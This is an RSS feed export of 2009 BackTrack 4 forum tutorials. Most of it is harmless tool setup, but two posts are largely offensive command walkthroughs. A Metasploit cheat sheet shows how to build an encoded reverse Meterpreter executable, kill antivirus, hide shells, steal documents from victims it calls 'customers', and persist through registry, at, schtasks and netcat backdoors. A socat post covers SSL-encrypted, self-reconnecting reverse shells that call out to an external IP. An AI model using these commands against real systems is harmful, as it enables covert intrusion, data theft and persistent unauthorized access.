<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>Remote Exploit Forums - BackTrack 4 Howto</title>
		<link>http://forums.remote-exploit.org/</link>
		<description>Tutorials and Howtos about BackTrack 4 (NOT for requesting tutorials or how to do anything)</description>
		<language>en</language>
		<lastBuildDate>Sat, 21 Nov 2009 03:53:38 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>http://forums.remote-exploit.org/images/backtrack4/misc/rss.jpg</url>
			<title>Remote Exploit Forums - BackTrack 4 Howto</title>
			<link>http://forums.remote-exploit.org/</link>
		</image>
		<item>
			<title>Another TuT on metasploit. All my cheat notes :)</title>
			<link>http://forums.remote-exploit.org/backtrack-4-howto/28576-another-tut-metasploit-all-my-cheat-notes.html</link>
			<pubDate>Wed, 11 Nov 2009 01:10:35 GMT</pubDate>
			<description>I introduce my tutorial on the Metasploit Framework. This applys to both Linux and Windows. 
Although, I would seriously suggest using Metasploit...</description>
			<content:encoded><![CDATA[<div>I introduce my tutorial on the Metasploit Framework. This applys to both Linux and Windows.<br />
Although, I would seriously suggest using Metasploit within Linux, specifically <br />
'Backtrack 4 - PreRelease' (The Latest)<br />
<br />
<br />
If you dont know what the metasploit framework is, then look it up. You've been missing out.<br />
<br />
In no way is this meant to be a comprehensive guide. MSF is HUGE. Too many things can be done with it,<br />
you could write 15 books on it.  MSF is Open Source and coded in the Ruby language.<br />
<br />
Get used to the 'help' option!<br />
<br />
PAYLOADs<br />
========<br />
<br />
I'm gonna start with Payloads, many people know already that MSF is an exploitation framework, as in you can<br />
work out vulnerabilities in software, and use the framework to quickly create working exploits for it.<br />
There's hundreds of payloads that you can choose from, so that when you exploit the system in question<br />
you can easily automate the execution of a payload of your choice on the machine.<br />
<br />
I will show you how to turn those payloads into an actual .EXE so it will just run as is.<br />
 <br />
Ok. Lets begin:<br />
<br />
<br />
Fire up your MSF, make sure it's updated, as they are constantly making amendments to this.<br />
For backtrack i think its : cd pentest/exploits/framework3<br />
<br />
Metasploit Double Encoded Reverse Meterpreter Payload <br />
==================================================  ===<br />
<br />
<br />
$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=123.234.456.678 LPORT=82 R | ./msfencode -e x86/countdown -t raw | ./msfencode -t exe -o /meterpreter_reverse.exe<br />
<br />
LHOST - is our machine (listening host, as we are waiting for a connection from RHOST (remote host)<br />
 <br />
LPORT - self explanitory.  Just make sure you have port forwarding set up on your router ofcourse.<br />
<br />
Meterpreter - An incredibly advanced shell which kind of simulates bash. (even on a win system) - lots of power.  <br />
      You'll see how much power shorty.<br />
<br />
<br />
Now you have your PAYLOAD.exe<br />
<br />
Metasploit Listener<br />
===================<br />
<br />
<br />
In /framework3 directory<br />
<br />
$ ./msfconsole<br />
(Takes a lil minute for this to load)<br />
<br />
use exploit/multi/handler                     (Sets the exploit to a handler)<br />
set PAYLOAD windows/meterpreter/reverse_tcp   (Most common Payload to use, try experimenting with others)<br />
set LHOST 192.162.1.50            (Make sure you set LHOST to your address on Network and not localhost)<br />
set LPORT 82                                 (Sometimes, port 80, 443 or 8080 is better as to some FW's it looks less suspicious)<br />
set ExitOnSession false            (As soon as you get a session, it doesn't automatically jump in to it)<br />
set AutoRunScript /killav.rb                  (when customer connects back, and meterpreter payload is uploaded, killav.rb script is uploaded and executed)<br />
exploit -j               (sets exploit up as a job, good for shells on multiple customers)<br />
<br />
<br />
(See more on scripts... down )<br />
<br />
<br />
Continuation<br />
============<br />
<br />
<br />
When all goes well, and you have hit 'exploit -j' and have waited for a customer to click on the payload.exe you created earlier<br />
you will see stuff happening in the screen. You will notice it run the killab script, then says something like :<br />
<br />
<ul><li> Meterpreter session 1 opened (123.234.345.567:63456 -&gt; 192.168.1.50:82)</li>
</ul><br />
Ok, here's the basics:<br />
<br />
type : <br />
<br />
sessions -l (this lists any sessions we have i.e. customers. Notice the lowercase L )<br />
sessions -i 1 (this is to interact with the session 1. i.e. Interect. Lowercase I)<br />
<br />
If you need to come out of this screen. Either CTRL+Z or type 'background' without the ''<br />
<br />
<br />
Ok.. So we are in the session: Brilliant <img src="http://hackhound.org/forum/Smileys/solosmileys/smiley.gif" border="0" alt="" /><br />
<br />
<br />
Continuation - The Good Stuff<br />
=============================<br />
<br />
<br />
$ Meterpreter &gt; getuid     (this will show you currently logged in user)<br />
$ Meterpreter &gt; idletime     (wanna see how long user has afk?)<br />
<br />
$ Meterpreter &gt; help            (this will show you a massive list of amzing commands to use!)<br />
$ Meterpreter &gt; use priv    (then check help again, more privilidged commands now eh? <img src="http://hackhound.org/forum/Smileys/solosmileys/wink.gif" border="0" alt="" /> <br />
<br />
<br />
ok i will show some really handy ones <img src="http://hackhound.org/forum/Smileys/solosmileys/smiley.gif" border="0" alt="" /><br />
<br />
<br />
$ Meterpreter &gt; upload evil.exe evil.exe         (uploads the file from this machine over to the customer)<br />
$ Meterpreter &gt; download secret.txt secret.txt   (downloads the txt file to our machine)<br />
<br />
$ Meterpreter &gt; cd &quot;Documents and settings&quot;     (cd's to a folder with spaces in it.)<br />
$ Meterpreter &gt; ls             (this is an example of the bash type commands we have on the target win machine, version of dir)<br />
<br />
$ Meterpreter &gt; download -r “My Documents” /home/root/Documents  (This would download the entire &quot;My Docs&quot; folder over to us.<br />
<br />
$ Meterpreter &gt; execute *f evil.exe      (executed the file on the customer)<br />
<br />
<br />
$ Meterpreter &gt; execute *f cmd.exe *c *H *i      (-f executes, cmd.exe shell on target, channelized, hidden, interactive)<br />
            (customer will not see a thing your doing as all the options are set properly)<br />
<br />
   Check down the bottom for some useful cmd.exe commands that are very useful <img src="http://hackhound.org/forum/Smileys/solosmileys/smiley.gif" border="0" alt="" /><br />
<br />
<br />
$ Meterpreter &gt; uictl disable keyboard   (disables some user interface componants)<br />
$ Meterpreter &gt; uictl disable mouse      <br />
$ Meterpreter &gt; uictl enable keyboard    (enables) <br />
<br />
$ Meterpreter &gt; ps          (this will show you a detailed list of all processes running on target machine)<br />
<br />
$ Meterpreter &gt; migrate pid        (migrates/injects itself into another process id)  e.g migrate 716 (explorer.exe) <br />
$ Meterpreter &gt; kill pid          (kills process) e.g. kill 563 (av.exe goes down)<br />
<br />
<br />
etc etc etc etc.... <br />
<br />
<br />
Using Payload As A Backdoor<br />
===========================<br />
<br />
<br />
upload /home/metabkdr.exe metabkdr.exe (to app data directory)<br />
<br />
execute *-f cmd.exe *-c *-H -*i<br />
<br />
Way 1 : <br />
cmd.exe &gt; REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre  ntVersion\Run /v firewall /t REG_SZ /d &quot;C:\Documents and Settings\Owner\Application Data\Microsoft\Installer\metabkdr.exe&quot; /f<br />
<br />
(This adds a registry startup obviously)<br />
Way 2 :<br />
cmd.exe &gt; at 19:00 /every:M,T,W,Th,F cmd /c start &quot;C:\Documents and Settings\Owner\Application Data\Microsoft\Installer\metabkdr.exe&quot;<br />
<br />
(runs backdoor at 7pm all weekdays, at command works for all windows i think)<br />
<br />
way 3 :<br />
cmd.exe &gt; SCHTASKS /Create /RU &quot;SYSTEM&quot; /SC MINUTE /MO 45<br />
/TN FIREWALL /TR &quot;C:\Documents and Settings\Owner\Application Data\Microsoft\Ins<br />
taller\metabkdr.exe&quot; /ED 11/11/2011<br />
<br />
(This runs the backdoor every 45 mins as SYSTEM (on XP. XP home doesnt have schtask, has 'at' though)<br />
<br />
Plant A Simple Backdoor with Netcat<br />
===================================<br />
<br />
<br />
plant a backdoor<br />
A very simple way of planting backdoor could be using netcat.<br />
steps:<br />
1. upload a netcat executable (nc.exe) on remote machine.<br />
   meterpreter provides a command 'upload' for that<br />
2. c:\windows\system32 &gt; nc.exe -l -L -p &lt;port number&gt; -e cmd.exe<br />
3. now from your machine, type  nc -v -n &lt;ip address&gt; &lt;port&gt;<br />
It will give you a command shell of remote machine<br />
<br />
nc -l -d -p 80 -e c:\windows\system32\cmd.exe<br />
<br />
<br />
More On Scripts:<br />
================<br />
<br />
Scripts can be run from the meterpreter shell when you have a shell on a customer.<br />
<br />
All you do is: (where '$' is not to be typed. This is the bash shell)<br />
<br />
$ run scraper -h (This will show you the options etc for any of the scripts)<br />
or<br />
$ run keylogrecorder -h <br />
 <br />
<br />
The Sky is your limit when it comes to scripts. You can code them to do all sorts of stuff for you. <br />
There are many already within the the framework, made by folk.. here's a small list of some already there:<br />
<br />
<br />
killav.rb                   (kills all anti viruses running on system)<br />
getcountermeasure.rb      (kills av's and fw's/ids')<br />
scraper.rb                  (logs LOADS of useful information via a serious of automated commands on customer. Logs stored in /root/.msf3/<br />
gettelnet.rb         (able to open a telnet server on the customer with a username and password)<br />
checkvm.rb           (checks to see if it is a VM. And version numbers)<br />
<br />
<br />
netenum.rb         <br />
search_dwld.rb     <br />
winbf.rb<br />
credcollect.rb           <br />
hostsedit.rb      <br />
remotewinenum.rb  <br />
keylogrecorder.rb     <br />
scheduleme.rb     <br />
winenum.rb<br />
getgui.rb                <br />
schtasksabuse.rb  <br />
wmic.rb<br />
get_local_subnets.rb     <br />
migrate.rb         <br />
<br />
<br />
Credits: backtrack forums / metasploit /irongeek</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/backtrack-4-howto/">BackTrack 4 Howto</category>
			<dc:creator>ecsployt</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/backtrack-4-howto/28576-another-tut-metasploit-all-my-cheat-notes.html</guid>
		</item>
		<item>
			<title>how to upgrade Spoonwep2-rc2 to Spoonwep2-rc3</title>
			<link>http://forums.remote-exploit.org/backtrack-4-howto/28451-how-upgrade-spoonwep2-rc2-spoonwep2-rc3.html</link>
			<pubDate>Sat, 07 Nov 2009 12:02:38 GMT</pubDate>
			<description>i gotta say thanks for FRHACK thats where i seen this and a few other places 
 
first download spoonwep-wpa-rc3.deb 
...</description>
			<content:encoded><![CDATA[<div>i gotta say thanks for FRHACK thats where i seen this and a few other places<br />
<br />
first download spoonwep-wpa-rc3.deb<br />
<br />
<a href="http://www.fileden.com/files/2008/10/11/2138272/spoonwep-wpa-rc3.deb" target="_blank">http://www.fileden.com/files/2008/10...ep-wpa-rc3.deb</a><br />
<br />
then download aircrack-ng-1.0-rc3<br />
<br />
<a href="http://download.aircrack-ng.org/archive/aircrack-ng/1.0rc3/aircrack-ng-1.0-rc3.tar.gz" target="_blank">http://download.aircrack-ng.org/arch...1.0-rc3.tar.gz</a><br />
<br />
once downloaded go into synaptics or dpkg -r aircrack-ng<br />
<br />
untar aircrack-ng<br />
<br />
make sqlite=true unstable=true<br />
make sqlite=true unstable=true install<br />
<br />
just simply dpkg -i spoonwep-wpa-rc3.deb<br />
<br />
and thats it , it will create some desktop shortcuts which are nice<br />
<br />
i have tested this new one and it cracks wep faster<br />
<br />
you can also configure it with whichever version your using <br />
latest aircrack-ng 1.0 rc4 and aircrack-ng 1.0 final if you are using, spoonwep need to change it slightly.<br />
<br />
vi /usr/bin/spoonwep vi / usr / bin / spoonwep<br />
<br />
    (&#30053;) (Omitted)<br />
    ln -sf bash /bin/sh ln-sf bash / bin / sh<br />
    /etc/init.d/NetworkManager stop &gt;/dev/null 2&gt;&amp;1 / etc / init.d / NetworkManager stop&gt; / dev / null 2&gt; &amp; 1<br />
    aircrack_edition=`aircrack-ng --help|grep &quot;Aircrack-ng 1.0&quot;|awk '{print $3}'` aircrack_edition = `aircrack-ng - help | grep&quot; Aircrack-ng 1.0 &quot;| awk '(print $ 3)'`<br />
    # if [ &quot;$aircrack_edition&quot; = &quot;rc3&quot; ];then # If [ &quot;$ aircrack_edition&quot; = &quot;rc3&quot;]; then<br />
    rc3 &amp; rc3 &amp;<br />
    # fi # Fi<br />
    (&#30053;) (Omitted) <br />
<br />
Rc3 so if this statement only unbeaten, 16 and 18 lines like the above comment out of line (#) to.</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/backtrack-4-howto/">BackTrack 4 Howto</category>
			<dc:creator>apprentice</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/backtrack-4-howto/28451-how-upgrade-spoonwep2-rc2-spoonwep2-rc3.html</guid>
		</item>
		<item>
			<title>BT4 Pre Final As VMware Client</title>
			<link>http://forums.remote-exploit.org/backtrack-4-howto/28287-bt4-pre-final-vmware-client.html</link>
			<pubDate>Sun, 01 Nov 2009 23:44:12 GMT</pubDate>
			<description>I have installed BT4 as a VMware guest VM.  Seems to working fine with a slight exception.  When I fire up Wireshark, there are no Capture Interfaces...</description>
			<content:encoded><![CDATA[<div>I have installed BT4 as a VMware guest VM.  Seems to working fine with a slight exception.  When I fire up Wireshark, there are no Capture Interfaces listed?  They should come up automatically inside Wireshark.<br />
<br />
Any ideas?<br />
<br />
Thanks<br />
Ray<br />
Windows 7 64 bit Host - VMware BT4 Guest</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/backtrack-4-howto/">BackTrack 4 Howto</category>
			<dc:creator>rayj00</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/backtrack-4-howto/28287-bt4-pre-final-vmware-client.html</guid>
		</item>
		<item>
			<title>Steganography on the fly</title>
			<link>http://forums.remote-exploit.org/backtrack-4-howto/28156-steganography-fly.html</link>
			<pubDate>Thu, 29 Oct 2009 14:31:03 GMT</pubDate>
			<description><![CDATA[My brother just asked me to send him some sensitive information. I decided to hide the info in a mail attachment. So I'll be sharing this with you. 
...]]></description>
			<content:encoded><![CDATA[<div>My brother just asked me to send him some sensitive information. I decided to hide the info in a mail attachment. So I'll be sharing this with you.<br />
<br />
First I installed steghide from the repositories.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">root@wireless-service:~/secrets# cat /etc/issue<br />
BackTrack 4 PwnSauce \n \l<br />
<br />
root@wireless-service:~/secrets# uname -a<br />
Linux wireless-service 2.6.30.5 #1 SMP Wed Aug 26 16:47:02 EDT 2009 i686 GNU/Linux<br />
root@wireless-service:~/secrets# <font color="Red">aptitude install steghide</font><br />
Reading package lists... Done<br />
Building dependency tree<br />
Reading state information... Done<br />
Reading extended state information<br />
Initializing package states... Done<br />
The following NEW packages will be installed:<br />
&nbsp; libmcrypt4{a} libmhash2{a} steghide<br />
0 packages upgraded, 3 newly installed, 0 to remove and 0 not upgraded.<br />
Need to get 384kB of archives. After unpacking 1176kB will be used.<br />
Do you want to continue? [Y/n/?] y<br />
Writing extended state information... Done<br />
Get:1 http://archive.offensive-security.com pwnsauce/universe libmcrypt4 2.5.7-5ubuntu1 [81.2kB]<br />
Get:2 http://archive.offensive-security.com pwnsauce/main libmhash2 0.9.9-1 [133kB]<br />
Get:3 http://archive.offensive-security.com pwnsauce/universe steghide 0.5.1-9 [170kB]<br />
Fetched 384kB in 2s (185kB/s)<br />
Selecting previously deselected package libmcrypt4.<br />
(Reading database ... 205446 files and directories currently installed.)<br />
Unpacking libmcrypt4 (from .../libmcrypt4_2.5.7-5ubuntu1_i386.deb) ...<br />
Selecting previously deselected package libmhash2.<br />
Unpacking libmhash2 (from .../libmhash2_0.9.9-1_i386.deb) ...<br />
Selecting previously deselected package steghide.<br />
Unpacking steghide (from .../steghide_0.5.1-9_i386.deb) ...<br />
Processing triggers for man-db ...<br />
Setting up libmcrypt4 (2.5.7-5ubuntu1) ...<br />
<br />
Setting up libmhash2 (0.9.9-1) ...<br />
<br />
Setting up steghide (0.5.1-9) ...<br />
Processing triggers for libc6 ...<br />
ldconfig deferred processing now taking place<br />
Reading package lists... Done<br />
Building dependency tree<br />
Reading state information... Done<br />
Reading extended state information<br />
Initializing package states... Done<br />
Writing extended state information... Done<br />
root@wireless-service:~/secrets#</code><hr />
</div>Then I got a .jpg file and put the info inside a .txt file.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">root@wireless-service:~/secrets# ls -l<br />
total 72<br />
-rw-r--r-- 1 root root 65140 Oct 29 13:35 pills.jpg<br />
-rw-r--r-- 1 root root&nbsp; 1689 Oct 29 13:41 secret.txt<br />
root@wireless-service:~/secrets#</code><hr />
</div>I checked how much info I can insert for this particular image file. The bigger the file, the more info you can drop into it.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">root@wireless-service:~/secrets# <font color="Red">steghide info pills.jpg</font><br />
&quot;pills.jpg&quot;:<br />
&nbsp; format: jpeg<br />
&nbsp; capacity: 2.3 KB<br />
Try to get information about embedded data ? (y/n) n<br />
root@wireless-service:~/secrets#</code><hr />
</div>Now, inject the data into the image.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">root@wireless-service:~/secrets# <font color="Red">steghide embed -cf pills.jpg -ef secret.txt</font><br />
Enter passphrase:<br />
Re-Enter passphrase:<br />
embedding &quot;secret.txt&quot; in &quot;pills.jpg&quot;... done<br />
root@wireless-service:~/secrets# ls -l<br />
total 52<br />
-rw-r--r-- 1 root root 46852 Oct 29 13:50 pills.jpg<br />
-rw-r--r-- 1 root root&nbsp; 1689 Oct 29 13:41 secret.txt<br />
root@wireless-service:~/secrets#</code><hr />
</div>To decode and extract the file:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">root@wireless-service:~/secrets# rm secret.txt<br />
root@wireless-service:~/secrets# ls -l<br />
total 48<br />
-rw-r--r-- 1 root root 46852 Oct 29 13:50 pills.jpg<br />
root@wireless-service:~/secrets# <font color="Red">steghide extract -sf pills.jpg</font><br />
Enter passphrase:<br />
wrote extracted data to &quot;secret.txt&quot;.<br />
root@wireless-service:~/secrets# ls -l<br />
total 52<br />
-rw-r--r-- 1 root root 46852 Oct 29 13:50 pills.jpg<br />
-rw-r--r-- 1 root root&nbsp; 1689 Oct 29 13:51 secret.txt<br />
root@wireless-service:~/secrets#</code><hr />
</div> &quot;A picture is worth a thousand words&quot;</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/backtrack-4-howto/">BackTrack 4 Howto</category>
			<dc:creator>prowl3r</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/backtrack-4-howto/28156-steganography-fly.html</guid>
		</item>
		<item>
			<title><![CDATA[Advanced server ssl shell shoveling AND "Gender-Bender"]]></title>
			<link>http://forums.remote-exploit.org/backtrack-4-howto/28143-advanced-server-ssl-shell-shoveling-gender-bender.html</link>
			<pubDate>Thu, 29 Oct 2009 05:42:12 GMT</pubDate>
			<description><![CDATA[Ok we all know what a reverse shell is rite? .. If you don't go play a video game or something, i hear pokemon is pretty cool and stuffs. :o 
 
So a...]]></description>
			<content:encoded><![CDATA[<div>Ok we all know what a reverse shell is rite? .. If you don't go play a video game or something, i hear pokemon is pretty cool and stuffs. :o<br />
<br />
So a basic shell shovel goes like this.<br />
<br />
nc 192.168.1.100 4444 -e /bin/sh<br />
<br />
That is FAR from secure in any way, shape, or form. However fydoor of nmap released a wonderful little tool called ncat, its basically the 2009 version of nc. Anyways one of its many features is ssl. So rather than the above command we can do something like so.<br />
<br />
ncat --ssl 192.168.1.100 4444 -c /bin/sh<br />
<br />
Sweet your thinking, now i can use that. STOP back the f*ck up. All i or anyone else has to do is mitm you because we have the exact same certs. Even if you create your own and specify the --ssl-trustfile it looks for OS certs ... soooo not cool<br />
<br />
Low and behold after many a nights with nc, ncat, cryptcat, and a few others i came across something so powerfull it will make your head spin. Allow myself to introduce ... um mysyself? Heh no .. have a fine look at socat, now ill warn you before i say anything else. Socat is so advanced and comes with so many options and switches that i still refer to the man page just about every time i use it. First before we do anything else we are going to generate some certificates to use.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				root@ph33r:~# mkdir certs<br />
root@ph33r:~# cd certs<br />
root@ph33r:~/certs# <font color="Red">openssl genrsa -out server.key 2048</font><br />
Generating RSA private key, 2048 bit long modulus<br />
..........+++<br />
...........+++<br />
e is 65537 (0x10001)<br />
root@ph33r:~/certs# <font color="Red">openssl req -new -key server.key -x509 -days 365 -out server.crt</font><br />
You are about to be asked to enter information that will be incorporated<br />
into your certificate request.<br />
What you are about to enter is what is called a Distinguished Name or a DN.<br />
There are quite a few fields but you can leave some blank<br />
For some fields there will be a default value,<br />
If you enter '.', the field will be left blank.<br />
-----<br />
Country Name (2 letter code) [AU]:<br />
State or Province Name (full name) [Some-State]:<br />
Locality Name (eg, city) []:<br />
Organization Name (eg, company) [Internet Widgits Pty Ltd]:<br />
Organizational Unit Name (eg, section) []:<br />
Common Name (eg, YOUR name) []:<br />
Email Address []:<br />
root@ph33r:~/certs# <font color="Red">cat server.key server.crt &gt; server.pem</font><br />
root@ph33r:~/certs# <font color="Red">chmod 600 server.key server.pem</font><br />
root@ph33r:~/certs#
			
			<hr />
		</td>
	</tr>
	</table>
</div>Noticed how i left all the fields blank?? You dont need to input anything for your own personal certs.<br />
<br />
We also need to do the exact same thing for the client certs we are going to use so just switch the names around like so.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				<font color="Red">openssl genrsa -out client.key 2048<br />
openssl req -new -key client.key -x509 -days 365 -out client.crt<br />
cat client.key client.crt &gt; client.pem<br />
chmod 600 client.key client.pem</font>
			
			<hr />
		</td>
	</tr>
	</table>
</div>Dont be a damn fool and not chmod them on whatever box you will be using ;)<br />
<br />
Now then its rather simple <br />
<br />
copy <font color="Yellow">server.pem</font> and <font color="Yellow">client.crt</font> to the <font color="Yellow">server</font> - &quot;sender&quot;<br />
and<br />
copy <font color="Yellow">server.crt</font> and <font color="Yellow">client.pem</font> to the <font color="Yellow">client</font> - &quot;receive&quot;<br />
<br />
Let me quickly say you can just cat them into your file on whatever box, there not anything special just open them with a text editor and find out. Now lets go about setting up a reverse shell. Pay attention because this is where it gets tricky.<br />
<br />
First we want to set up the listener so lets do that real fast.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				root@ph33r:~/certs# <font color="Red">socat - ssl-l:4444,cert=client.pem,cafile=server.crt,verify=1</font>
			
			<hr />
		</td>
	</tr>
	</table>
</div>Ill explain it all in just a moment after we have our first connect so bare with me.<br />
<br />
Now on our &quot;server&quot; we do this<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				root@fookd:~# <font color="Red">socat ssl:12.120.55.8:4444,cert=server.pem,cafile=client  .crt exec:&quot;/bin/sh&quot;</font>
			
			<hr />
		</td>
	</tr>
	</table>
</div>Back on our client we are NOT going to notice anything happened at all, but give it this and with any luck...<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				root@ph33r:~/certs# socat - ssl-l:4444,cert=client.pem,cafile=server.crt,verify=1<br />
<font color="Red">id<br />
uid=0(root) gid=0(root) groups=0(root)</font>
			
			<hr />
		</td>
	</tr>
	</table>
</div>w00t we have a very very nice secure shell now and can do almost anything :D<br />
<br />
Ok still with me? <br />
<br />
Lets break all this down a little first before we keep going. Did you notice on our &quot;client&quot; how directly after we typed socat there was a &quot;-&quot;? In socat the &quot;-&quot; stands for stdio or standard input output. That basically means just read whatever we type and bass it to the ssl-l. Notice the -l? that stands for listen. You really should be reading the man page by now but ill explain a little more. How many of you have ever used netcat like this  &quot;nc -lp 4444 | nc 192.168.1.1 9999&quot; socat works along the same lines, in that it always needs 2 addresses, or 2 things to do. So in the server command if you notice there was a space before exec:&quot;/bin/sh&quot;. Starting to get the picture now? There is one other thing i want to mention before moving on. In the above piped netcat command data can only travel one way ---&gt; this way. With socat data can travel each way &lt;--&gt; you will see what im talking about later on but keep that in mind.<br />
<br />
Lets improve one our secure shell a little, as if our listener goes down or isnt up then we are screwed. Also wouldn't it be nice if we could have it remember our commands so we can type up if we want to repeat something. All are possible with the mighty socat :D<br />
<br />
<font size="4"><b><font color="Black">server</font></b></font><br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				root@fookd:~# <font color="Red">socat ssl:12.120.55.8:443,cert=server.pem,cafile=client.  crt,fork,forever,intervall=60,ignoreeof,verify=1,s  ourceport=15541 exec:&quot;/bin/sh&quot; &amp;</font><br />
root@fookd:~#
			
			<hr />
		</td>
	</tr>
	</table>
</div><br />
<font size="4"><b><font color="Black">client</font></b></font><br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2">
			<hr />
			
				root@ph33r:~/certs#<font color="Red"> socat -d -d READLINE,history=history.txt,append ssl-l:443,cert=client.pem,cafile=server.crt,verify=1,r  euseaddr</font><br />
2009/10/28 23:46:36 socat[13911] N using readline on stdin for reading and stdio for writing<br />
2009/10/28 23:46:36 socat[13911] N listening on AF=2 0.0.0.0:443<br />
2009/10/28 23:47:23 socat[13911] N accepting connection from AF=2 12.120.55.8:15541 on AF=2 10.10.10.10:443<br />
2009/10/28 23:47:23 socat[13911] N SSL connection using AES256-SHA<br />
2009/10/28 23:47:23 socat[13911] N starting data transfer loop with FDs [0,0] and [5,5]<br />
id<br />
uid=0(root) gid=0(root) groups=0(root)
			
			<hr />
		</td>
	</tr>
	</table>
</div>Ok first .. if you noticed it  ...  dont say it, but a little explanation on both commands quickly before i move on. On the server due to the &quot;forever,intervall=60&quot; will let us always get a shell :D and with ignoreeof if we cntrl+c out if it, its not going to die .. we also changed the source port .. very handy.<br />
<br />
On the client, you probably noticed all the extra info we have. That is because of the -d -d .. that is basically the same thing as - vv in ncat or nc. We then used readline, and setup a history file, so now we can just press up to recall whatever commands we want. We also used reuseaddr so if we kill the connection we don't have to wait for our box to release the socket before we can reuse it. <br />
<br />
There is TONS more we can do, and i have gotten pretty damn crazy with it lately but i want to move on so start reading that man page if you want to improve .. atho feel free to post your commands if you like as im always looking for something new.<br />
<br />
Gender Benders = next post, and this will be edited.</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/backtrack-4-howto/">BackTrack 4 Howto</category>
			<dc:creator>vvpalin</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/backtrack-4-howto/28143-advanced-server-ssl-shell-shoveling-gender-bender.html</guid>
		</item>
		<item>
			<title>Boot Back Track 4 pre final on HDD (without install)</title>
			<link>http://forums.remote-exploit.org/backtrack-4-howto/28079-boot-back-track-4-pre-final-hdd-without-install.html</link>
			<pubDate>Tue, 27 Oct 2009 05:27:54 GMT</pubDate>
			<description><![CDATA[Let's create boot Back Track 4 pre final on HDD(without install) 
 
-First step: Create the Grub4dos menu: 
 
  1. Use Install Grub4dos on Windows...]]></description>
			<content:encoded><![CDATA[<div>Let's create boot Back Track 4 pre final on HDD(without install)<br />
<br />
-First step: Create the Grub4dos menu:<br />
<br />
  1. Use Install Grub4dos on Windows V0.2.exe <br />
 download at : h**p://***.mediafire.com/?jmoyognq31i<br />
 Run file Install Grub4dos on Windows V0.2.exe and Brower to iso file<br />
(bt4-pre-final.iso) to copy this iso file /FREE4VN and create menu.lst on C:<br />
  2. If you use Windows Vista/Seven, then need run <font color="Red">bcd_edit.cmd</font> to add Grub menu on bootmgr of Windows Vista/7<br />
<br />
- Second:<br />
<br />
  1.Extract iso file (bt4-pre-final.iso) to C: (include: /Casper and /Boot)<br />
  2.Delete file bt4-pre-final.iso on /FREE4VN<br />
  2.Edit file menu.lst on C:<br />
<br />
<font color="red">gfxmenu /FREE4VN/message<br />
configfile /FREE4VN/menu_old.lst<br />
<br />
title BackTrack4 Pre Final<br />
kernel (hd0,0)/boot/vmlinuz BOOT=casper boot=casper nopersistent rw quiet vga=0x317<br />
initrd (hd0,0)/boot/initrd.gz</font><br />
<br />
- Finally,reboot computer to have fun!</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/backtrack-4-howto/">BackTrack 4 Howto</category>
			<dc:creator>ittdg</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/backtrack-4-howto/28079-boot-back-track-4-pre-final-hdd-without-install.html</guid>
		</item>
		<item>
			<title>Changing Apache and SSH banner</title>
			<link>http://forums.remote-exploit.org/backtrack-4-howto/28059-changing-apache-ssh-banner.html</link>
			<pubDate>Mon, 26 Oct 2009 18:58:39 GMT</pubDate>
			<description>When i was going through the offsec course and took my test.. dare i admit it, but after i was finished i decided to give the rest of the range a...</description>
